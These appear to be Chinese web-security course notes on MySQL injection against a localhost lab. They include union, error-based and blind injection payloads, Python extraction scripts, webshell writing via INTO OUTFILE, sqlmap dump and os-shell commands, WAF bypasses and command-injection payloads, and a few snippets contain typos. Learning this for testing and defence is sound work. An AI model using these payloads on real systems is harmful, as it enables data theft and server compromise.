一、读写权限确认
show global variables like '%secure%';
查看mysql全局变量的配置,当输入以上命令时,结果
secure_file_priv = 空的时候,任意读写
secure_file_priv = 某个路径的时候,只能在规定的那个路径下读写
secure_file_priv = NULL 不能读写
http://localhost/security/read.php?id=-1%20union%20select%201,2,3,(select%20LOAD_FILE(%22/localhost/security/read.php%22)),5,6
无法在数据库里面查找到read.php这个文件,其实是存在的,但值为NULL,所以就将4变成了空值
二、读取文件内容
利用SQL语句读取系统文件,先读取常规文件(明确路径),如果能够成功读取,则继续读取其他文件。如果明确知道路径,则直接尝试爆破路径下的文件,如果连路径都不知道,则爆破路径。
-1 union select 1,2,3,load_file("/etc/passwd"),5,6
三、写入木马
/security/read.php?id=-1 union select 1,2,3,"HelloWoniu",5,6 into outfile "/opt/lampp/htdocs/security/temp/muma.php"
-1 union select 1,2,3, 4 , 5,"<?php phpinfo(); ?>" into outfile "D:/XamppNew/htdocs/security/muma.php"
如果列的数量未知,也可以不停地试,然后注入一次,访问一次,确认是否注入成功
-1 union select 1,2,3,4,5,"<?php eval($_POST['a']);?>" into outfile "/opt/lampp/htdocs/security/muma.php"
一句话木马
<?php @eval($_GET['a']); ?>
eval可以将一段字符串当成代码来执行,如果用户可以直接将这段有效的PHP代码传入后台,则可以执行任意代码或指令
/security/temp/muma2.php?a=phpinfo();
/secueity/temp/muma2.php?a=echo date('Y-m-d H:i:s');
/security/temp/muma2.php?a=system('ip addr');
/security/temp/muma2.php?a=system('cat /etc/passwd');
报错注入
一、Union查询注入不适用的地方
1、注入语句无法截断,且不清楚完整的SQL查询语句
2、页面不能返回查询信息的时候
3、Web页面中有两个SQL查询语句,查询语句的列数不同
二、关于MySQL处理XML
1、先准备以下XML文件内容
<class id="WNCDC085">
<student sequence="1">
<id>WNCD201703015</id>
<name>敬小越</name>
<sex>男</sex>
<age>24</age>
<degree>本科</degree>
<school>电子科技大学成都学院</school>
</student>
<student sequence="2">
<id>WNCD201703020</id>
<name>何小学</name>
<sex>男</sex>
<age>29</age>
<degree>本科</degree>
<school>成都理工大学</school>
</student>
<student sequence="3">
<id>WNCD201703025</id>
<name>杨小言</name>
<sex>女</sex>
<age>22</age>
<degree>大专</degree>
<school>四川华新现代职业学院</school>
</student>
</class>
2、创建一张表,其中有一列的值为上述XML文件
本示例中xmltable为表名,testxml为列名,只有一行一列,值为上述XML文本。
3、执行以下SQL语句
#查询何小学
select extractvalue(testxml,'//student[@sequence="2"]/name') from xmltable
#将何小学修改为何大学
update xmltable set testxml = updatexml(testxml,'//student[@sequence="2"]/name',"<name>何大学</name>")
当union select出现不适用的情形下,我们通常使用报错来进行注入
报错注入的原理就是通过构造特殊的报错语句,使mysql数据库报错,使我们查询的内容显示在报错信息中,同时把报错信息显示在页面上
常用的报错函数有undateXML(),extractvalue(),floor()等等。
大致报错的原理是利用输入字符串逻辑上的冲突造成报错
1 and updatexml(1,concat(0x7e,database(),0x7e),1)
1 and updatexml(1,concat(0x7e,select group_concat(table_name) from information_schema.tables where table_schema='learn',0x7e),1)
0x7e为~
http://localhost/security/read.php?id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)
http://localhost/security/read.php?id=1%20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27learn%27%20limit%200,1),0x7e),1)
updatexml函数的参数:
concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出相关信息。
0x7e是ASCII码,实为updatexml()报错信息为特殊字符、字母之后的内容,为了防止前面字母丢失,开头连接一个特殊字符~
以下payload构造了正确的xpath路径,无法实现报错:
http://localhost/security/read.php?id=1%20and%20updatexml(1,%22//name%22,1)
常用报错注入payload
事实上报错注入适用的场景很多,不光是select、insert、update、delete都会有涉及,并且用的很多。
1、uploadxml报错:
and 1=(updatexml(1,concat(0x7e,(select user()),0x7e),1))
http://localhost/security/read.php?id=1%20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27learn%27%20limit%202,1),0x7e),1)
2、extractvalue报错
and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables limit 1),0x7e));
3、floor报错
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
有单引号的:?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
没有单引号的:?id=1 and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
floor报错
如果使用MySQLi模块进行数据库操作,默认情况下,当执行 mysqli_query时将不会报错,可以使用echo mysqli_error($conn)来推出错误信息。
盲注
盲注的使用场景:没有回显的时候。
一、Boolean型注入
Boolean是基于真假的判断(true or false);不管输入什么,结果都只返回真或假两种情况。Boolean型盲注的关键在于通过表达式结果与已知值进行比对,根据比对结果判断正确与否。
盲注有时需要一个一个字符去猜,因此一些字符串操作的函数经常被用到。
length():返回查询字符串长度
mid(column_name,start,length):截取字符串
substr(string,start,length):截取字符串
left(string,n):截取字符串
ORD():返回字符的ASCII码
ASCII():返回字符的ASCII码
http://localhost/security/read.php?id=1 and updatexml(1,"~",1)
$result = mysqli_query($conn,$sql) or die("");
输入错误的话返回的结果为空
http://localhost/security/read.php?id=1 and updatexml(1,"//name",1)
http://localhost/security/read.php?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)
http://localhost/security/read.php?id=1 and length(database())>5
http://localhost/security/read.php?id=1 and length(database())=5
举例:
1 and length(database())=5 #先盲注获取长度
1 and substr(database(),1,1)='e'--+ 如果正确响应结果,说明数据库名的第二个字符是e
使用Burpsuite进行遍历,获取正确的数据库名称。
http://localhost/security/read.php?id=1 and substr(database(),1,1)='l'--+
可以在Burpsuite中对单引号中的东西进行爆破。然后得出正确的数据库名字的第一个字符
--+有没有都可以,都会得出正确的数据库名字的第一个字符
进行爆破
http://localhost/security/read.php?id=1 and (select substr(database(),1,1)='l') #构造更复杂的SQL语句
二、时间型漏洞
Boolean盲注还是能够通过页面返回的对错来判断,当页面任何信息都不返回的时候,就需要用时间盲注了。时间盲注就是在布尔盲注的基础上,首先经过真假的判断,然后在真假判断上添加时间的判断。
时间盲注所需要函数大多与布尔相同
length():返回查询字符串长度
mid(colunmn_name,start,length):截取字符串
sunstr(string,start,length):截取字符串
left(string,n):截取字符串
ORD():返回字符串的ASCII码
ASCII():返回字符的ASCII码
if():逻辑判断
sleep():控制时间
benchmark():控制时间
http://localhost/security/read.php?id=1 and (select substr(database(),1,1)='l')
#由于没有任何的回显信息,所以就算是注入成功的情况下也不会发生任何的回显(使用盲注)
#由于没有任何回显的信息,所以得用时间型盲注
执行这三条语句,会出现三种结果,因为有三种语句,且中间有时间间隔器,时间间隔为5秒
使用python脚本去看该请求是否成功
import requests,time
for len in range(1,50):
start = time.time()
header = {"Cookie":"PHPSESSID=981obibk4q7nnts223r7jg1vfa"}
url = f"http://localhost/security/read.php?id=1 and if(length(database())={len},sleep(3.5),1)"
resp = requests.get(url=url,headers=header)
end = time.time()
resptime = end-start
if int(resptime) >= 3:
print(len)
break
举例:
1 and if(length(database())=5,sleep(3),1)
1 and if(substr(database(),1,1)='a',sleep(3),1)
1 and (select benchmark(50000000,(select username from user limit 1)))
SQLMap工具
一、SQLMap拖库
SQLMap可以完成注入点的发现,数据库类型的确认,WebShell权限和路径的确认,拖库等一系列功能。测试的payload共分为5级:Level1 ~ Level5,Level1属于基础级,Payload相对较少,Level5 Payload很多。
首先先进入sqlmap里面
cd sqlmap-dev
python sqlmap.py -h
成功进入sqlmap,然后进行操作就行
1、当我们发现注入点的时候
python sqlmap.py -u "http://localhost/security/read.php?id=1" --cookie="PHPSESSID=981obibk4q7nnts223r7jg1vfa"
2、查看所有的数据库
sqlmap -u "http://localhost/security/read.php?id=1" --dbms=mysql --dbs
3、查看当前使用的数据库
sqlmap -u "http://localhost/security/read.php?id=1" --current-db
4、发现使用的是learn数据库,接下来对此数据库进行查询
sqlmap -u "http://localhost/security/read.php?id=1" --tables -D "learn"c
5、查出所有表以后,对user表的列名进行查询
sqlmap -u "http://localhost/security/read.php?id=1" --columns -T "learn2" -D "learn"
6、users表中的列名已经知道了,可以直接查出所有数据
python sqlmap.py -u "http://localhost/security/read.php?id=1" --dump -C "userid,username,password" -T "learn2" -D "learn"
完成拖库操作后,可以在输出中查到表数据,也可以直接根据显示信息进入相应文件查看内容
7、直接指定数据库类型,节省检测时间
python mysql.py -u "http://localhost/security/read.php?id=1" --dbs --dbms=mysql
8、判断是否是DBA
python mysql.py -u "http://localhost/security/read.php?id=1" --dbms=mysql --is-dba
二、POST和Cookie
1、如果某个注入点需要先登录,那么可以手工登录后,使用相同的Cookie进行处理
python sqlmap.py -u "http://localhost/security/read.php?id=1" --cookie="PHPSESSID=83nls93p4nrm2k8n1e6tb2q62l" --dbs
如果出现多个参数的话,使用-p指定一个所需要的参数即可
三、OS-Shell
1、整个过程分为三个部分:
(1)猜测网站绝对路径
(2)尝试写入木马
(3)获取到Shell命令行
python sqlmap.py -r ./sql-post.txt -p id --cookie="PHPSESSID=83nls93p4nrm2k8n1e6tb2q62l" --dbms=mysql --os-shell
2、手工读写文件
#读取远程服务器上的文件
python sqlmap.py -r ./sql-post.txt -p id --cookie="PHPSESSID=83nls93p4nrm2k8n1e6tb2q62l" --dbms=mysql --file-read "/etc/passwd"
#当SQL不能自动完成木马植入时,可以使用此命令进行手工注入:
python sqlmap.py -r ./sql-post.txt -p id --cookie="PHPSESSID=83nls93p4nrm2k8n1e6tb2q62l" --dbms=mysql --file-write ./mm.php --file-dest /opt/lampp/htdocs/security/temp/mm.php
#此时,也可以使用Python调用sqlmap的命令(os.popen("").read())进行盲猜,循环遍历目录字典文件。
python sqlmap.py -u "http://localhost/security/read.php?id=1" --cookie="PHPSESSID=981obibk4q7nnts223r7jg1vfa" --dbms=mysql --file-write ./mm.php --file-dest /opt/lampp/htdocs/security/temp/mm.php --batch
# --batch参数可以直接一次性运行完,SQLMap中途不会询问(非交互模式),按照默认设置,适合于自动化。
其他注入
一、更新注入
所有更新类的操作,只返回布尔型的结果,并不会返回数据,所以无法像select一样进行多样化的处理。所以更新类的操作的核心就是构建报错注入的payload。
insert into learn2(username,password,role) values ('wowo' or updatexml(1,concat(0x7e,database(),0x7e),1) or '','123456','user')
update learn2 set username = 'wowo' where userid=1 or updatexml(1,concat(0x7e,database(),0x7e),1)
update learn2 set password = '1111' or updatexml(1,concat(0x7e,database(),0x7e),1) or '' where userid=1
delete from learn2 where userid=14 or updatexml(1,concat(0x7e,database(),0x7e),1)
更新类的注入也可以适用于HTTP头注(无论哪里注入,只要其字段值可以操作到数据库就行)
二、堆叠注入
select * from user where userid=1;update user set password='123456789' where userid=1
上述payload的PHP复现代码:
include "commond.php";
$conn = creat_connection_oop();
$id=$_GET['id'];
$conn->multi_query("select * from learn2 where userid=$id; #必须使用multi_query函数或方法
$result = $conn->store_result();
$rows = $result->fetch_row();
var_dump($conn);
http://localhost/security/misc.php?id=1
http://localhost/security/misc.php?id=3;update learn2 set password='123456789' where username='admin'
三、二次注入
二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到SQL查询语句中导致的注入
//第一步:先完成注册,使用addslashes
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$sql = "insert into user(username,password) values('$username','$password')";
$conn->query($sql);
//第二步:修改用户的密码
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "update user set password='$password' where username='$username'";
$conn->query($sql);
第一步:先完成注册
第二步:修改用户的密码
四、宽字节注入
正常sql语句: select *from learn3 where articleid='1';
当输入1'时,在addslashes函数的保护下,单引号'被加反斜杠\转义。被转义时的sql语句:select * from learn3 where articleid='1\'';
当输入1%bf'时,在gbk等宽字符集的环境下,%bf和用来转义的(%5c)形成新字符。注入时的语句:select * from learn3 where articleid=1%bf\' and 1=1%23;
%bf与转义符号(16进制为%5c)组合成了%bf%5c形成新字符,从而吃掉了这个转义字符,导致单引号可以闭合,形成经典的注入形式。
$conn = mysqli_connect('127.0.0.1','root','root','learn') or die("数据库连接不成功");
mysqli_query($conn,"set names gbk");
$id = addslashes($_GET['id']);
$sql = "select * from learn3 where articleid='$id'";
echo $sql . "<br>";
$result = mysqli_query($conn,$sql) or die("");
$article = mysqli_fetch_assoc($result);
echo $article['headline'] . "<br/><hr>" . $article['content'];
http://localhost/security/misc.php?id=1
http://localhost/security/misc.php?id=1'
http://localhost/security/misc.php?id=1' --+
http://localhost/security/misc.php?id=1' and 1=2 --+
http://localhost/security/misc.php?id=1%DD' and 1=2 --+
http://localhost/security/misc.php?id=1%DD' and 1=1 --+
五、URL解码注入
只要字符被转换理论上就有注入的可能,现在对sql注入的防御主要也是对各类单引号、双引号、反斜杠和null加上反斜杠进行转义。如果某个地方使用了urldecode或者rawurldecode函数的话,就会导致二次解码生成单引号引发注入。
原理是当我们提交web参数的时候;web服务器会自动对url编码进行1次解码,假设目标有了过滤,我们提交id=1%2527时候,没有带单引号(单引号url编码为%27),这时候服务器会自动解码,解码的是%25,而%25的解码结果刚好是%,就能刚好和剩下的27组合成%27,如果程序里面还有urldecode这样的解码函数的话,将会引发二次解码,这样解码后就变成id=1',引发注入。
所以这类注入可以搜索urldecode或者rawurldecode来挖掘。
$conn = create_connect_oop();
$id = urldecode(addslashes($_GET['id']));
echo $id . "<br/>";
$result = $conn->query("select * from learn2 where userid='$id'");
$rows = $result->fetch_row();
var_dump($rows);
python脚本内容如下:
import requests,time
#时间型盲注
def time_blind():
for len in range(1,50):
start = time.time()
header = {"Cookie":"PHPSESSID=981obibk4q7nnts223r7jg1vfa"}
url = f"http://localhost/security/read.php?id=1 and if(length(database())={len},sleep(3.5),1)"
resp = requests.get(url=url,headers=header)
end = time.time()
resptime = end-start
if int(resptime) >= 3:
print(len)
break
#布尔型盲注爆列名
def bool_blind():
chars = "abcdefghijklmnopqrstuvwxyz0123456789_,"
session = requests.session()
base_url = "http://localhost/security/read.php?id=1"
header = {"Cookie":"PHPSESSID=1kbae2jat0cn753u2tmk85urhm"}
#先定义猜对的时候的长度
resp = session.get(url=base_url + " and 1=1", headers=header)
base_len = len(resp.text)
#先获取数据库长度
for db_len in range(1,20):
url = f"{base_url} and length(database())={db_len}"
resp = session.get(url=url,headers=header)
if len(resp.text) == base_len:
break
print(f"数据库长度为: {db_len}")
#根据数据库长度猜名称
db_name = ''
for i in range(1,db_len+1):
for c in chars:
url = f"{base_url} and substr(database(),{i},1)='{c}'"
resp = session.get(url=url,headers=header)
if len(resp.text) == base_len:
db_name += c
break
print(f"数据库名称为: {db_name}")
#根据数据库名称猜表名
table_name = ''
for i in range(1,40):
for c in chars:
sql = f"select group_concat(table_name) from information_schema.tables where table_schema='{db_name}'"
url = f"{base_url} and substr(({sql}),{i},1)='{c}'"
resp = session.get(url=url,headers=header)
if len(resp.text) == base_len:
table_name += c
break
print(f"数据库中表的名称为:{table_name}")
#猜所有表的列名
table_list = table_name.strip().split(',')
for table in table_list:
column_name = ''
for i in range(100):
for c in chars:
sql = f"select group_concat(column_name) from information_schema.columns where table_schema='{db_name}'" #table_schema='{db_name}'
url = f"{base_url} and substr(({sql}),{i},1)='{c}'"
resp = session.get(url=url,headers=header)
if len(resp.text) == base_len:
column_name += c
break
print(f"表{table}的列名为: {column_name}")
if __name__=='__main__':
# time_blind()
bool_blind()
六、奇技淫巧
1、闭合与逻辑
payload:1' or '1' = '1 闭合后:id='1' or '1'='1'
也可以写成:1' || '1'='1,同理也可以使用&&表示and
payload:1' or 1=1# 闭合后:id='1' or 1=1#'
2、所有的确定字符串,均可以使用hex函数来处理成16进制,避免引号转义
select hex('/etc/passwd')
select load_file(0x2F6574632F706173737764)
select hex('learn')
select group_concat(table_name) from information_schema.tables where table_schema=0x6C6561726E
select hex('%为什么%')
select * from learn3 where content like 0x25E4B8BAE4BB80E4B98825
3、WAF绕过
双写绕过:
select and or 等被过滤的话,可以这么构造,selselectect,anandd,这样即使被过滤了剩余字符串也能拼接成正常语句。
大小写绕过:
SelecT,AnD,Or,可用来绕过简单的过滤手段
编码绕过:
Base64,ASCII,16进制
select concat(char(49),char(50),char(65))
特殊字符绕过:
空格:/**/,%20,%a0,%0a,%0d,%0b,%09,%0c,select(password)from(learn2)
and:&&,or:||
内联注释:select username from /*!learn2*/ /*!union*/ select 2
00截断:sel%00ect,mysql中不会截断,但是waf可能认为截断
%:sel%ect,如果是iis+asp,百分号会被忽略
代码与命令注入
<?php
//@eval($_POST['code']);
@assert($_POST['code']);
//@preg_replace("/test/e",$_POST['code'],"tester");
//$func = create_function('',$_REQUEST['code']);
//$func();
//system($_POST['code']);
//echo exec($_POST['code']);
//echo shell_exec($_POST['code']);
//passthru($_POST['code']);
?>
1、eval函数
在PHP中,使用eval(string)函数可以执行任意有效的PHP代码,比如eval("phpinfo();")、eval("echo date()"),也可以是更加复杂的代码,比如@eval($_POST['code']);代码,用户提交POST请求参数如下:
code=$a=10;$b=20;print($a+$b);
code=$time1 = "2017-11-06 18:58:04";
$time2 = "2017-11-06 18:54:09";
echo (strtotime($time2)-strtotime($time1));
或者更加复杂的代码
code=$conn = mysqli_connect('127.0.0.1','root','root','learn');
mysqli_set_charest($conn,'utf8');
$result = mysqli_query($conn,"select * from learn2");
$rows = mysqli_fetch_all($result);
var_dump($rows);
2、assert函数
assert函数用于判断一个表达式是否成立,所以会先执行该表达式,进而达到判断的目的。所以assert相对eval来说,功能要简单一些,只能执行表达式,但是依然可以达到执行代码的目的,比如针对@assert($_POST['code']);的代码,用户提交的POST请求如下:
code=phpinfo();
code=print(date("T-m-d"));
除此之外,我们也可以构造让assert函数执行eval()函数的payload:
code=eval('$time1 = "2017-11-06 18:58:04";
$time2 = "2017-11-06 18:58:09";
echo (strtotime($time2)-strtotime($time1));');
3、preg_replace函数
针对@preg_replace("/test/e",$_POST['code'],"tester");构造的payload如下:
code=phpinfo();
code=print(date("Y-m-d"));
code=@eval('$a=10;$b=30;print($a+$b)');
4、create_function()函数
create_function()主要用来创建匿名函数,以下展示了其代码和payload:
$func = create_function('',$_POST['code']);
$func();
code=phpinfo();
code=$a=11;$b=30;print($a+$b);
反序列化漏洞也是属于代码注入范畴
5、命令注入
在PHP中,可以直接执行操作系统的命令,函数包括:system、exec、popen、passthru、shell_exec等
system($_POST['code']); #system自带回显
echo exec($_POST['code']); #必须使用echo回显
echo shell_exec($_POST['code']);
passthru($_POST['code']);
另外一种命令注入的方式,后台直接执行系统命令,而前端参数传入的值是命令放入一部分,则也会构成命令注入漏洞。
比如后台执行命令:sudo firewall-cmd --add-port=$port/$portocal,而port参数是由前台用户传入的,构建的payload如下:
80/tcp --permanent: echo "Hello World" > /opt/lampp/htdocs/security/temp/mmmm.php;
6、HTTP头注
HTTP头被插入数据库,构建出了insert语句,那么头信息只要改造为:
//HTTP头注
$username = $_SERVER['HTTP_USER_AGENT'];
$referer = $_SERVER['HTTP_REFERER'];
$xforward = $_SERVER['HTTP_X_FORWARDED_FOR'];
$idappr = $_SERVER['ROMOTE_ADDR'];
$sql = "insert into header(useragent,referer,xforward,ipaddr) values('$useragent','$referer','$xforward','ipaddr')";
$conn->query($sql);
echo mysqli_error($conn);
echo "Welcome Here";
Payload:
Referer:http://www.woniuxy.com
X-Forwarded-For:'or updatexml(1,concat(0x7e,database(),0x7e),1) or'